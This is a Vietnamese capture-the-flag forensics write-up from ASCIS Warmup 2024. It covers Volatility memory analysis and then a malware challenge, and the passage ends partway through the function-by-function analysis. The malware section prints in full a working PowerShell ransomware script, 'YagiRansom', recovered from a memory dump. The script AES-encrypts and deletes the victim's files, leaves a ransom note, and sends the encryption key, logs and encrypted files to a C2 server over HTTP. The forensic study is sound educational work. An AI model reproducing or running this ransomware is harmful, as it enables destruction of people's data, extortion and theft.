# Forensic (ASCIS Warmup 2024)
## Easy Forensic (C1)
Mở đầu thử forensic của giải sẽ bắt đầu với Memory.

[Link tải source](https://drive.google.com/file/d/1Lcn4BobF74M5kilnJgP5KqGwtik2x1Pp/view?usp=sharing)
### Phân tích
Sau khi tải source ta nhận được file `Gift.rar` (Cần mật khẩu để mở) và file `Memory.rar`
Chắc mật khẩu sẽ nằm trong file `Memory.rar` (toi đoán thoi :v).
Theo description có mô tả là lỗi liên quan đến `kĩ thuật persistence` và là memory nên tôi đã dùng volatility để tạm khai thác.
Lệnh sau `python3 vol.py -f /home/kali/Downloads/Memory/Memory.raw windows.filescan.FileScan`
Chúng ta sẽ nhận thấy có 1 file `5.exe` nằm trong `Desktop` khá bất thường. Để nhanh thì có thể dùng lệnh sau `python3 vol.py -f /home/kali/Downloads/Memory/Memory.raw windows.filescan.FileScan| grep "5.exe"` (mng có thể tự lọc bằng lệnh trước đó vì tại đây chỉ làm cho nhanh hơn thoi :v).

Sau khi thấy file thì tôi thử dump để kiểm tra bằng lệnh `python3 vol.py -f /home/kali/Downloads/Memory/Memory.raw -o /home/kali/Downloads/ windows.dumpfiles --physaddr 0x3eebc380` và kết quả trả về là

Vậy là có 2 file được dump về, hãy thử `strings` ra xem thử. Sau một lúc mò sơ qua thì

`UGFzc3dvcmQgaXMge0ZpbGVsZXNzLU1hbHdhcmUtUGVyc2lzdGVuY2V9`
Chính là chuỗi lạ đó, hãy thử decode `base64` thử xem sao! [CyberChef](https://cyberchef.org/)

Tadaaaaaa!!! :v vậy là có password ròi, nhớ là hãy lấy trong `{}` nhé. Còn nếu k tin thì có thể thử :v.
Password `Fileless-Malware-Persistence`
Sau khi giải nén thì ta được

Và

Flag `ASCIS{Gh4st1n_Th3_R2M}`
## Easy Forensic (C2)
Cũng có 1 cách khác để thực hiện phân tích ở thử thách này, sau thời gian tìm hiểu tôi nhận thấy là nó chính là loại `Windows Registry`
Tìm hiểu từ search gg tại [a](https://sec.vnpt.vn/2022/06/windows-forensic-malware-persistence/) và [b](https://sec.vnpt.vn/2023/08/windows-forensic-part-2-malware-persistence/).
Theo mô tả đây chính là loại mã độc lẩn trốn trên máy nạn nhân, cụ thể cho ví dụ chính là `WMI` . `WMI` là cách quản lý hệ thống doanh nghiệp dựa trên web (WBEM) của Microsoft. Nó cung cấp một bộ công cụ cho phép quản trị viên quản lý hệ thống Windows. Đây cũng là một lựa chọn ưa thích của mã độc để có thể đạt được persistence trên hệ thống của nạn nhân...Và trong link có ví dụ và demo cụ thể :v.
Và để kiểm tra tiến trình cho trường hợp này đó là sử dụng autoruns của Volatility.
Tôi đã sử dụng lệnh sau `python3 vol.py -f /home/kali/Downloads/Memory/Memory.raw windows.autorun.Autoruns`

Và vì đây là lỗi `Windows Registry` nên toi follow theo `CurrentVersion`
Lệnh `python3 vol.py -f /home/kali/Downloads/Memory/Memory.raw windows.autorun.Autoruns | grep "CurrentVersion"`

Và cũng như trên ta thấy được chuỗi bị mã hóa của password `UGFzc3dvcmQgaXMge0ZpbGVsZXNzLU1hbHdhcmUtUGVyc2lzdGVuY2V9`
Từ đây thì mình k làm nữa :vv.
### NOTE
1. [Link](https://github.com/volatilityfoundation/volatility3) tải Volatility3.
2. Một số lệnh dùng của [Volatility](https://blog.onfvp.com/post/volatility-cheatsheet/) nói chung.
## Urgent Tina

[Link source](https://drive.google.com/file/d/1qLY4WQShdfSZBvTP1oaHqcXciTe5SXOQ/view?usp=sharing)
Đây là 1 bài rất hay về `Forensic Malware`
Sau khi tải source thì chúng ta nhận được `traffic.pcapng` và `update.DMP` . Sau đó toi thử mở file `traffic.pcapng` bằng `wireshare` để xem.

Lọc để thử follow theo `tcp` và `http` thì cũng chỉ thấy 1 stream để xem các tiến trình.

Mở lên xem một lúc thì tôi nhận thấy tất cả các file theo protocol `HTTP` và nội dung của chúng đều ở dangj khó nhìn, chắc là bị mã hóa :v. Và công việc trước mắt, tạm thời của chúng ta bây h là tìm chỗ mã hóa để thử giải, có thể là trong file `update.DMP` kia.
Do mở bằng tool khá lâu và bị lỗi nên tôi đã `strings` để xem.
Sau 1 thời gian dò thì tôi thấy chỗ rất sus(suspicious).

Đây là nguyên 1 đoạn code `PowerShell` để thực thi `Ransomware` có tên là `YagiRansom`
```python=
# Design
$ProgressPreference = "SilentlyContinue"
$ErrorActionPreference = "SilentlyContinue"
$OSVersion = [Environment]::OSVersion.Platform
if ($OSVersion -like "*Win*") {
$Host.UI.RawUI.WindowTitle = "YagiRansom"
$Host.UI.RawUI.BackgroundColor = "Black"
$Host.UI.RawUI.ForegroundColor = "White" }
# Variables
$Mode = $args[0]
$Directory = $args[1]
$WiETm = $args[3]
$7CiB = $args[3]
$UFX = $args[5]
$ENyR = $args[6]
$DCe = $null
# Errors
if ($args[0] -like "-h*") { break }
if ($args[0] -eq $null) { Write-Host "[!] Not enough/Wrong parameters!" -ForegroundColor Red ; Write-Host ; break }
if ($args[1] -eq $null) { Write-Host "[!] Not enough/Wrong parameters!" -ForegroundColor Red ; Write-Host ; break }
if ($args[2] -eq $null) { Write-Host "[!] Not enough/Wrong parameters!" -ForegroundColor Red ; Write-Host ; break }
if ($args[3] -eq $null) { Write-Host "[!] Not enough/Wrong parameters!" -ForegroundColor Red ; Write-Host ; break }
# Proxy Aware
[System.Net.WebRequest]::DefaultWebProxy = [System.Net.WebRequest]::GetSystemWebProxy()
[System.Net.WebRequest]::DefaultWebProxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials
$AllProtocols = [System.Net.SecurityProtocolType]"Ssl3,Tls,Tls11,Tls12" ; [System.Net.ServicePointManager]::SecurityProtocol = $AllProtocols
# Functions
$OgE = ([Environment]::MachineName).ToLower() ; $zVSza = ([Environment]::UserName).ToLower() ; $I26 = "yaginote.txt"
$7VEq = Get-Date -Format "HH:mm - dd/MM/yy" ; $Uz19o = $7VEq.replace(":","").replace(" ","").replace("-","").replace("/","")+$zVSza+$OgE
if ($OSVersion -like "*Win*") { $domain = (([Environment]::UserDomainName).ToLower()+"\") ; $slash = "\" } else { $domain = $null ; $slash = "/" }
$DirectoryTarget = $Directory.Split($slash)[-1] ; if (!$DirectoryTarget) { $DirectoryTarget = $Directory.Path.Split($slash)[-1] }
function Invoke-AESEncryption {
[CmdletBinding()]
[OutputType([string])]
Param(
[Parameter(Mandatory = $true)]
[String]$Key,
[Parameter(Mandatory = $true, ParameterSetName = "CryptText")]
[String]$Text,
[Parameter(Mandatory = $true, ParameterSetName = "CryptFile")]
[String]$Path)
Begin {
$m95I = New-Object System.Security.Cryptography.SHA256Managed
$n9ibn = New-Object System.Security.Cryptography.AesManaged
$n9ibn.Mode = [System.Security.Cryptography.CipherMode]::CBC
$n9ibn.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$n9ibn.BlockSize = 128
$n9ibn.KeySize = 256 }
Process {
$n9ibn.Key = $m95I.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Key))
if ($Text) {$plainBytes = [System.Text.Encoding]::UTF8.GetBytes($Text)}
if ($Path) {
$File = Get-Item -Path $Path -ErrorAction SilentlyContinue
if (!$File.FullName) { break }
$plainBytes = [System.IO.File]::ReadAllBytes($File.FullName)
$outPath = $File.FullName + ".enc" }
$encryptor = $n9ibn.CreateEncryptor()
$encryptedBytes = $encryptor.TransformFinalBlock($plainBytes, 0, $plainBytes.Length)
$encryptedBytes = $n9ibn.IV + $encryptedBytes
$n9ibn.Dispose()
if ($Text) {return [System.Convert]::ToBase64String($encryptedBytes)}
if ($Path) {
[System.IO.File]::WriteAllBytes($outPath, $encryptedBytes)
(Get-Item $outPath).LastWriteTime = $File.LastWriteTime }}
End {
$m95I.Dispose()
$n9ibn.Dispose()}}
function RemoveWallpaper {
$code = @"
using System;
using System.Drawing;
using System.Runtime.InteropServices;
using Microsoft.Win32;
namespace CurrentUser { public class Desktop {
[DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern int SystemParametersInfo(int uAction, int uParm, string lpvParam, int fuWinIni);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern int SetSysColors(int cElements, int[] lpaElements, int[] lpRgbValues);
public const int UpdateIniFile = 0x01; public const int SendWinIniChange = 0x02;
public const int SetDesktopBackground = 0x0014; public const int COLOR_DESKTOP = 1;
public int[] first = {COLOR_DESKTOP};
public static void RemoveWallPaper(){
SystemParametersInfo( SetDesktopBackground, 0, "", SendWinIniChange | UpdateIniFile );
RegistryKey regkey = Registry.CurrentUser.OpenSubKey("Control Panel\\Desktop", true);
regkey.SetValue(@"WallPaper", 0); regkey.Close();}
public static void SetBackground(byte r, byte g, byte b){ int[] elements = {COLOR_DESKTOP};
RemoveWallPaper();
System.Drawing.Color color = System.Drawing.Color.FromArgb(r,g,b);
int[] colors = { System.Drawing.ColorTranslator.ToWin32(color) };
SetSysColors(elements.Length, elements, colors);
RegistryKey key = Registry.CurrentUser.OpenSubKey("Control Panel\\Colors", true);
key.SetValue(@"Background", string.Format("{0} {1} {2}", color.R, color.G, color.B));
key.Close();}}}
try { Add-Type -TypeDefinition $code -ReferencedAssemblies System.Drawing.dll }
finally {[CurrentUser.Desktop]::SetBackground(250, 25, 50)}}
function PopUpRansom {
[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Drawing")
[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms")
[void] [System.Windows.Forms.Application]::EnableVisualStyles()
Invoke-WebRequest -useb https://www.mediafire.com/view/wlq9mlfrlonlcuk/yagi.png/file -Outfile $env:temp\YagiRansom.jpg
Invoke-WebRequest -useb https://www.mediafire.com/file/s4qcg4hk6bnd2pe/Yagi.ico/file -Outfile $env:temp\YagiRansom.ico
$shell = New-Object -ComObject "Shell.Application"
$shell.minimizeall()
$form = New-Object system.Windows.Forms.Form
$form.ControlBox = $false;
$form.Size = New-Object System.Drawing.Size(900,600)
$form.BackColor = "Black"
$form.MaximizeBox = $false
$form.StartPosition = "CenterScreen"
$form.WindowState = "Normal"
$form.Topmost = $true
$form.FormBorderStyle = "Fixed3D"
$form.Text = "YagiRansom"
$formIcon = New-Object system.drawing.icon ("$env:temp\YagiRansom.ico")
$form.Icon = $formicon
$img = [System.Drawing.Image]::Fromfile("$env:temp\YagiRansom.jpg")
$pictureBox = new-object Windows.Forms.PictureBox
$pictureBox.Width = 920
$pictureBox.Height = 370
$pictureBox.SizeMode = "StretchImage"
$pictureBox.Image = $img
$form.controls.add($pictureBox)
$label = New-Object System.Windows.Forms.Label
$label.ForeColor = "Cyan"
$label.Text = "All your files have been encrypted by YagiRansom!"
$label.AutoSize = $true
$label.Location = New-Object System.Drawing.Size(50,400)
$font = New-Object System.Drawing.Font("Consolas",15,[System.Drawing.FontStyle]::Bold)
$form.Font = $Font
$form.Controls.Add($label)
$label1 = New-Object System.Windows.Forms.Label
$label1.ForeColor = "White"
$label1.Text = "But don
t worry, you can still recover them with the recovery key if you pay the ransom in the next 8 hours."
$label1.AutoSize = $true
$label1.Location = New-Object System.Drawing.Size(50,450)
$font1 = New-Object System.Drawing.Font("Consolas",15,[System.Drawing.FontStyle]::Bold)
$form.Font = $Font1
$form.Controls.Add($label1)
$okbutton = New-Object System.Windows.Forms.Button;
$okButton.Location = New-Object System.Drawing.Point(750,500)
$okButton.Size = New-Object System.Drawing.Size(110,35)
$okbutton.ForeColor = "Black"
$okbutton.BackColor = "White"
$okbutton.FlatStyle = [System.Windows.Forms.FlatStyle]::Flat
$okButton.Text = 'Pay Now!'
$okbutton.Visible = $false
$okbutton.Enabled = $true
$okButton.DialogResult = [System.Windows.Forms.DialogResult]::OK
$okButton.add_Click({
[System.Windows.Forms.MessageBox]::Show($this.ActiveForm, 'Your payment order has been successfully registered!', 'YagiRansom Payment Processing System',
[Windows.Forms.MessageBoxButtons]::"OK", [Windows.Forms.MessageBoxIcon]::"Warning")})
$form.AcceptButton = $okButton
$form.Controls.Add($okButton)
$form.Activate() 2>&1> $null
$form.Focus() 2>&1> $null
$btn=New-Object System.Windows.Forms.Label
$btn.Location = New-Object System.Drawing.Point(50,500)
$btn.Width = 500
$form.Controls.Add($btn)
$btn.ForeColor = "Red"
$startTime = [DateTime]::Now
$count = 10.6
$7VEqr=New-Object System.Windows.Forms.Timer
$7VEqr.add_Tick({$elapsedSeconds = ([DateTime]::Now - $startTime).TotalSeconds ; $remainingSeconds = $count - $elapsedSeconds
if ($remainingSeconds -like "-0.1*"){ $7VEqr.Stop() ; $okbutton.Visible = $true ; $btn.Text = "0 Seconds remaining.." }
$btn.Text = [String]::Format("{0} Seconds remaining..", [math]::round($remainingSeconds))})
$7VEqr.Start()
$btntest = $form.ShowDialog()
if ($btntest -like "OK"){ $Global:PayNow = "True" }}
function R64Encoder {
if ($args[0] -eq "-t") { $VaFQ = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($args[1])) }
if ($args[0] -eq "-f") { $VaFQ = [Convert]::ToBase64String([IO.File]::ReadAllBytes($args[1])) }
$VaFQ = $VaFQ.Split("=")[0] ; $VaFQ = $VaFQ.Replace("C", "-") ; $VaFQ = $VaFQ.Replace("E", "_")
$8bKW = $VaFQ.ToCharArray() ; [array]::Reverse($8bKW) ; $R64Base = -join $8bKW ; return $R64Base }
function GetStatus {
Try { Invoke-WebRequest -useb "$7CiB`:$UFX/status" -Method GET
Write-Host "[i] C2 Server is up!" -ForegroundColor Green }
Catch { Write-Host "[!] C2 Server is down!" -ForegroundColor Red }}
function SendResults {
$cvf = Invoke-AESEncryption -Key $Uz19o -Text $WiETm ; $cVl = R64Encoder -t $cvf
$2YngY = "> $cVl > $OgE > $zVSza > $7VEq"
$RansomLogs = Get-Content "$Directory$slash$I26" | Select-String "[!]" | Select-String "YagiRansom!" -NotMatch
$XoX = R64Encoder -t $2YngY ; $B64Logs = R64Encoder -t $RansomLogs
Invoke-WebRequest -useb "$7CiB`:$UFX/data" -Method POST -Body $XoX 2>&1> $null
Invoke-WebRequest -useb "$7CiB`:$UFX/logs" -Method POST -Body $B64Logs 2>&1> $null }
function SendClose {
Invoke-WebRequest -useb "$7CiB`:$UFX/close" -Method GET 2>&1> $null }
function SendPay {
Invoke-WebRequest -useb "$7CiB`:$UFX/pay" -Method GET 2>&1> $null }
function SendOK {
Invoke-WebRequest -useb "$7CiB`:$UFX/done" -Method GET 2>&1> $null }
function CreateReadme {
$I26TXT = "All your files have been encrypted by YagiRansom!!`nBut don't worry, you can still recover them with the recovery key if you pay the ransom in the next 8 hours.`nTo get decryption instructions, you must transfer 100000$ to the following account:`n`nAccount Name: Mat tran To quoc Viet Nam - Ban Cuu Tro Trung uong`n`nAccount Number: 0011.00.1932418`n`nBank: Vietnam Joint Stock Commercial Bank for Foreign Trade (Vietcombank)`n"
if (!(Test-Path "$Directory$slash$I26")) { Add-Content -Path "$Directory$slash$I26" -Value $I26TXT }}
function EncryptFiles {
$ExcludedFiles = '*.enc', 'yaginote.txt', '*.dll', '*.ini', '*.sys', '*.exe', '*.msi', '*.NLS', '*.acm', '*.nls', '*.EXE', '*.dat', '*.efi', '*.mui'
foreach ($i in $(Get-ChildItem $Directory -recurse -exclude $ExcludedFiles | Where-Object { ! $_.PSIsContainer } | ForEach-Object { $_.FullName })) {
Invoke-AESEncryption -Key $WiETm -Path $i ; Add-Content -Path "$Directory$slash$I26" -Value "[!] $i is now encrypted" ;
Remove-Item $i }
$RansomLogs = Get-Content "$Directory$slash$I26" | Select-String "[!]" | Select-String "YagiRansom!" -NotMatch ; if (!$RansomLogs) {
Add-Content -Path "$Directory$slash$I26" -Value "[!] No files have been encrypted!" }}
function ExfiltrateFiles {
Invoke-WebRequest -useb "$7CiB`:$UFX/files" -Method GET 2>&1> $null
$RansomLogs = Get-Content "$Directory$slash$I26" | Select-String "No files have been encrypted!" ; if (!$RansomLogs) {
foreach ($i in $(Get-ChildItem $Directory -recurse -filter *.enc | Where-Object { ! $_.PSIsContainer } | ForEach-Object { $_.FullName })) {
$Pfile = $i.split($slash)[-1] ; $B64file = R64Encoder -f $i ; $B64Name = R64Encoder -t $Pfile
Invoke-WebRequest -useb "$7CiB`:$UFX/files/$B64Name" -Method POST -Body $B64file 2>&1> $null }}
else { $B64Name = R64Encoder -t "none.null" ; Invoke-WebRequest -useb "$7CiB`:$UFX/files/$B64Name" -Method POST -Body $B64file 2>&1> $null }}
function CheckFiles {
$RFiles = Get-ChildItem $Directory -recurse -filter *.enc ; if ($RFiles) { $RFiles } else {
Write-Host "[!] No encrypted files found!" -ForegroundColor Red }}
# Main
if ($Mode -eq "-d") {
Write-Host ; Write-Host "[!] Shutdowning...." -ForegroundColor Red; sleep 1 }
else {
Write-Host ;
Write-Host "[+] Checking communication with C2 Server.." -ForegroundColor Blue
$DCe = GetStatus ; sleep 1
$WiETm = -join ( (48..57) + (65..90) + (97..122) | Get-Random -Count 24 | % {[char]$_})
Write-Host "[!] Encrypting ..." -ForegroundColor Red
CreateReadme ; EncryptFiles ; if ($DCe) { SendResults ; sleep 1
if ($ENyR -eq "-x") { Write-Host "[i] Exfiltrating ..." -ForegroundColor Green
ExfiltrateFiles ; sleep 1 }}
if (!$DCe) { Write-Host "[+] Saving logs in yaginote.txt.." -ForegroundColor Blue }
else { Write-Host "[+] Sending logs to C2 Server.." -ForegroundColor Blue }}
if ($args -like "-demo") { RemoveWallpaper ; PopUpRansom
if ($PayNow -eq "True") { SendPay ; SendOK } else { SendClose ; SendOK }}
else { SendOK }
sleep 1000 ; Write-Host "[i] Done!" -ForegroundColor Green ; Write-Host
```
Tôi đã cop ra [docs](https://docs.google.com/document/d/1ONw-2dEYTZqAEQ83a8qikqg82mWUqinV-8d-8GkBg3A/edit) và hightlight một số hàm cho dễ nhìn
### Phân tích
Đây là một đoạn code PowerShell để thực hiện mã hóa tài liệu của đối tượng mục tiêu và đòi tiền chuộc (như mô tả).
Một số hàm quan trọng chúng ta cần phân tích như:
1. `function Invoke-AESEncryption` mã hóa theo `thuật toán AES`
2. `function R64Encoder` mã hóa đặc biệt của `base64`
3. `function SendResults` gửi đi `data` và `logs` thông tin của tiến trình hoạt động.
4. `function EncryptFiles` mã hóa các file mục tiêu.
5. `function ExfiltrateFiles` mã hóa và gửi dữ liệu đi.
6. Và hàm `main` ở cuối.
Chúng ta sẽ đi phân tích từng hàm
1. `function Invoke-AESEncryption` mã hóa theo `thuật toán AES`
```python=
function Invoke-AESEncryption {
[CmdletBinding()]
[OutputType([string])]
Param(
[Parameter(Mandatory = $true)]
[String]$Key,
[Parameter(Mandatory = $true, ParameterSetName = "CryptText")]
[String]$Text,
[Parameter(Mandatory = $true, ParameterSetName = "CryptFile")]
[String]$Path)
Begin {
$m95I = New-Object System.Security.Cryptography.SHA256Managed
$n9ibn = New-Object System.Security.Cryptography.AesManaged
$n9ibn.Mode = [System.Security.Cryptography.CipherMode]::CBC
$n9ibn.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$n9ibn.BlockSize = 128
$n9ibn.KeySize = 256 }
Process {
$n9ibn.Key = $m95I.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Key))
if ($Text) {$plainBytes = [System.Text.Encoding]::UTF8.GetBytes($Text)}
if ($Path) {
$File = Get-Item -Path $Path -ErrorAction SilentlyContinue
if (!$File.FullName) { break }
$plainBytes = [System.IO.File]::ReadAllBytes($File.FullName)
$outPath = $File.FullName + ".enc" }
$encryptor = $n9ibn.CreateEncryptor()
$encryptedBytes = $encryptor.TransformFinalBlock($plainBytes, 0, $plainBytes.Length)
$encryptedBytes = $n9ibn.IV + $encryptedBytes
$n9ibn.Dispose()
if ($Text) {return [System.Convert]::ToBase64String($encryptedBytes)}
if ($Path) {
[System.IO.File]::WriteAllBytes($outPath, $encryptedBytes)
(Get-Item $outPath).LastWriteTime = $File.LastWriteTime }}
End {
$m95I.Dispose()
$n9ibn.Dispose()}}
```
Tại khối
```python=
[CmdletBinding()]
[OutputType([string])]
```
Cho phép chương trình thực hiện như `cmdlet` và trả về 1 chuỗi.
Tại khối
```python=
Param(
[Parameter(Mandatory = $true)]
[String]$Key,
[Parameter(Mandatory = $true, ParameterSetName = "CryptText")]
[String]$Text,
[Parameter(Mandatory = $true, ParameterSetName = "CryptFile")]
[String]$Path)
```
Khóa `$Key` dùng để mã hóa và giải mã.
`$Text` là `plaintext` (văn bản cần mã hóa).
`$Path` là đường dẫn đến tệp cần mã hóa.
```python=
Begin {
$m95I = New-Object System.Security.Cryptography.SHA256Managed
$n9ibn = New-Object System.Security.Cryptography.AesManaged
$n9ibn.Mode = [System.Security.Cryptography.CipherMode]::CBC
$n9ibn.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$n9ibn.BlockSize = 128
$n9ibn.KeySize = 256 }
```
Khối này đơn giản là tạo đối tượng mã hóa là `SHA256` và `AES`
Đặt chế độ mã hóa `CBC` và kiểu đệm `PKCS7`
Đặt kích thước `khối` là `128 bit` và kích thước `khóa` là `256 bit`
Tại khối
```python=
Process {
$n9ibn.Key = $m95I.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Key))
if ($Text) {$plainBytes = [System.Text.Encoding]::UTF8.GetBytes($Text)}
if ($Path) {
$File = Get-Item -Path $Path -ErrorAction SilentlyContinue
if (!$File.FullName) { break }
$plainBytes = [System.IO.File]::ReadAllBytes($File.FullName)
$outPath = $File.FullName + ".enc" }
$encryptor = $n9ibn.CreateEncryptor()
$encryptedBytes = $encryptor.TransformFinalBlock($plainBytes, 0, $plainBytes.Length)
$encryptedBytes = $n9ibn.IV + $encryptedBytes
$n9ibn.Dispose()
if ($Text) {return [System.Convert]::ToBase64String($encryptedBytes)}
if ($Path) {
[System.IO.File]::WriteAllBytes($outPath, $encryptedBytes)
(Get-Item $outPath).LastWriteTime = $File.LastWriteTime }}
```
Tính toán băm `SHA256` cho khóa `$Key` để tạo ra khóa mã hóa cho `AES`
Nếu tham số `$Text` được cung cấp, mã hóa văn bản đó. Nếu `$Path` được cung cấp, đọc `byte` từ tệp và tạo tệp mã hóa mới.
Tạo một đối tượng mã hóa `$encryptor` từ đối tượng `AES` và mã hóa `byte` văn bản hoặc `byte` từ tệp.
Thêm `IV` *(Initialization Vector)* vào đầu `byte` đã mã hóa để sử dụng cho việc giải mã sau này.
Trả về chuỗi mã hóa `base64` nếu văn bản được cung cấp, hoặc ghi tệp mã hóa vào đường dẫn mới nếu một tệp được cung cấp.
Tại khối
```python=
End {
$m95I.Dispose()
$n9ibn.Dispose()}
```
Giải phóng các tài nguyên `dispose` đã được sử dụng.
Mô tả chung
```
Hàm cho phép mã hóa văn bản hoặc tệp bằng thuật toán AES với một khóa đã cho. Nó sử dụng SHA256 để tạo ra khóa cho quá trình mã hóa và hỗ trợ cả hai chế độ đầu vào.
```
2. `function R64Encoder` mã hóa đặc biệt của `base64`
```python=
function R64Encoder {
if ($args[0] -eq "-t") { $VaFQ = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($args[1])) }
if ($args[0] -eq "-f") { $VaFQ = [Convert]::ToBase64String([IO.File]::ReadAllBytes($args[1])) }
$VaFQ = $VaFQ.Split("=")[0] ; $VaFQ = $VaFQ.Replace("C", "-") ; $VaFQ = $VaFQ.Replace("E", "_")
$8bKW = $VaFQ.ToCharArray() ; [array]::Reverse($8bKW) ; $R64Base = -join $8bKW ; return $R64Base }
```
Hàm nhận đầu vào là biến `$args`
* Nếu tham số đầu vào đầu tiên là `-t` thì hàm chuyển đổi văn bản thành một mảng `byte` sử dụng mã hóa `UTF-8` . Sau đó mã hóa mảng `byte` này thành chuỗi `base64` và lưu kết quả vào biến `$VaFQ`
* Nếu tham số đầu vào đầu tiên là `-f` thì hàm đọc tất cả `byte` từ tệp và mã hóa mảng `byte` này thành chuỗi `base64` và lưu kết quả vào biến `$VaFQ`
Xử lý kết quả sau khi mã hóa `base64`
* Chia chuỗi tại dấu `"="` (nếu có) và lấy phần trước dấu `"="` => loại bỏ padding trong `base64`
* Thay thế tất cả ký tự `"C"` bằng dấu `"-"`
* Thay thế tất cả ký tự `"E"` bằng dấu `"_"`
* Chuyển đổi chuỗi kết quả thành mảng ký tự `ToCharArray()` và lưu vào `$8bKW`
* Đảo ngược mảng hiện tại, nối thành một chuỗi và lưu vào `$R64Base`
* Trả về kết quả cuối cùng.
Mô tả chung
```
Hàm sẽ chuyển chuỗi hoặc tệp thành Base64 => loại bỏ padding => thay thế kí tự => đảo ngược kết quả.
```
3. `function SendResults` gửi đi `data` và `logs` thông tin của tiến trình hoạt động.
```python=
function SendResults {
$cvf = Invoke-AESEncryption -Key $Uz19o -Text $WiETm ; $cVl = R64Encoder -t $cvf
$2YngY = "> $cVl > $OgE > $zVSza > $7VEq"
$RansomLogs = Get-Content "$Directory$slash$I26" | Select-String "[!]" | Select-String "YagiRansom!" -NotMatch
$XoX = R64Encoder -t $2YngY ; $B64Logs = R64Encoder -t $RansomLogs
Invoke-WebRequest -useb "$7CiB`:$UFX/data" -Method POST -Body $XoX 2>&1> $null
Invoke-WebRequest -useb "$7CiB`:$UFX/logs" -Method POST -Body $B64Logs 2>&1> $null }
```
* Tại đây thì hàm sẽ mã hóa theo thuật toán `AES` chuỗi `$WiETm` theo `key` là biến `$Uz19o` và lưu vào biến `$cvf` . Cụ thể hơn các biến này mình sẽ nói sau :v.
* Tiếp theo hàm sẽ gọi tới hàm `function R64Encoder` để mã hóa chuỗi `$cvf` từ kết quả trước đó (ở đây `option` là `-t` tức là text như đã phân tích ở `function R64Encoder` nè) và sau đó lưu vào biến `$cVl`
* Tiếp theo đó là lưu các biến `$cVl` , `$OgE` , `$zVSza` và `$7VEq` vào biến `$2YngY` theo thứ tự và `format` là `$2YngY = "> $cVl > $OgE > $zVSza > $7VEq"`
* Tiếp theo hàm sẽ hoạt động lọc các nội dung của tệp thuộc đường dẫn `$Directory$slash$I26` và chọn lọc ra các dòng, chuỗi mà chứa `[!]` và bỏ đi những dòng chứa chuỗi `YagiRansom!` bằng `option`là `-NotMatch` sau đó tất cả sẽ được lưu vào biến `$RansomLogs`
* Công việc tiếp theo là gọi hàm `function R64Encoder` để mã hóa biến `$2YngY` và lưu vào `$XoX` . Song song đó cũng gọi hàm `function R64Encoder` để mã hóa biến `$RansomLogs` và lưu vào biến `$B64Logs`
* Sau đó hàm sẽ gọi `Invoke-WebRequest` để đồng thời gửi `$XoX` tới `endpoint` là `$UFX/data` và `$B64Logs` tới `endpoint` là `$UFX/logs` , tất cả k được hiển thị lên kết quả bằng `2>&1> $null`
Mô tả chung
```
Hàm sẽ mã hóa các chuỗi là giá trị của biến $cvf, $cVl, $2YngY, $RansomLogs thành $XoX gửi tới /data và $B64Logs gửi tới /logs qua HTTP POST
```
4. `function EncryptFiles` mã hóa các file mục tiêu.
```python=
function EncryptFiles {
$ExcludedFiles = '*.enc', 'yaginote.txt', '*.dll', '*.ini', '*.sys', '*.exe', '*.msi', '*.NLS', '*.acm', '*.nls', '*.EXE', '*.dat', '*.efi', '*.mui'
foreach ($i in $(Get-ChildItem $Directory -recurse -exclude $ExcludedFiles | Where-Object { ! $_.PSIsContainer } | ForEach-Object { $_.FullName })) {
Invoke-AESEncryption -Key $WiETm -Path $i ; Add-Content -Path "$Directory$slash$I26" -Value "[!] $i is now encrypted" ;
Remove-Item $i }
$RansomLogs = Get-Content "$Directory$slash$I26" | Select-String "[!]" | Select-String "YagiRansom!" -NotMatch ; if (!$RansomLogs) {
Add-Content -Path "$Directory$slash$I26" -Value "[!] No files have been encrypted!" }}
```
* Đầu tiên hàm tạo 1 danh sách `$ExcludedFiles` để chứa các `extention` và 1 file `yaginote.txt`
* Tiếp đó duyệt qua các thư mục để lấy tệp và loại trừ những file chứa `extention` trong `$ExcludedFiles` , lấy đầy đủ đường dẫn từ tệp và đưa vào biến `$i`
* Sau đó gọi hàm `function Invoke-AESEncryption` để mã hóa biến `$i` là `path` vừa rồi theo `key` là biến `$WiETm` . Sau đó ghi lại đoạn mã hóa theo `format` `"$Directory$slash$I26" -Value "[!] $i is now encrypted" ` và xóa đi tệp đó.
* Tương tự code trước thì dòng tiếp theo để lọc ra dòng, chuỗi chứa `[!]` và loại những dòng, chuỗi chứa `YagiRansom!` . Nếu k có `logs` thì in ra `logs` là `"$Directory$slash$I26" -Value "[!] No files have been encrypted!"`
Mô tả chung
```
Hàm có tác dụng lọc ra các tệp theo điều kiện và mã hóa "path" theo thuật toán AES => ghi lại vào logs và xóa file hiện tại đó.
```
5. `function ExfiltrateFiles` mã hóa và gửi dữ liệu đi.
```python=
function ExfiltrateFiles {
Invoke-WebRequest -useb "$7CiB`:$UFX/files" -Method GET 2>&1> $null
$RansomLogs = Get-Content "$Directory$slash$I26" | Select-String "No files have been encrypted!" ; if (!$RansomLogs) {
foreach ($i in $(Get-ChildItem $Directory -recurse -filter *.enc | Where-Object { ! $_.PSIsContainer } | ForEach-Object { $_.FullName })) {
$Pfile = $i.split($slash)[-1] ; $B64file = R64Encoder -f $i ; $B64Name = R64Encoder -t $Pfile
Invoke-WebRequest -useb "$7CiB`:$UFX/files/$B64Name" -Method POST -Body $B64file 2>&1> $null }}
else { $B64Name = R64Encoder -t "none.null" ; Invoke-WebRequest -useb "$7CiB`:$UFX/files/$B64Name" -Method POST -Body $B64file 2>&1> $null }}
```
* Dòng đầu tiên sẽ gửi yêu cầu tới `url` bằng `HTTP GET` và không hiển thị ra kết quả.
* Tiếp theo sẽ đọc `logs` ra và tìm chuỗi `"No files have been encrypted!"`
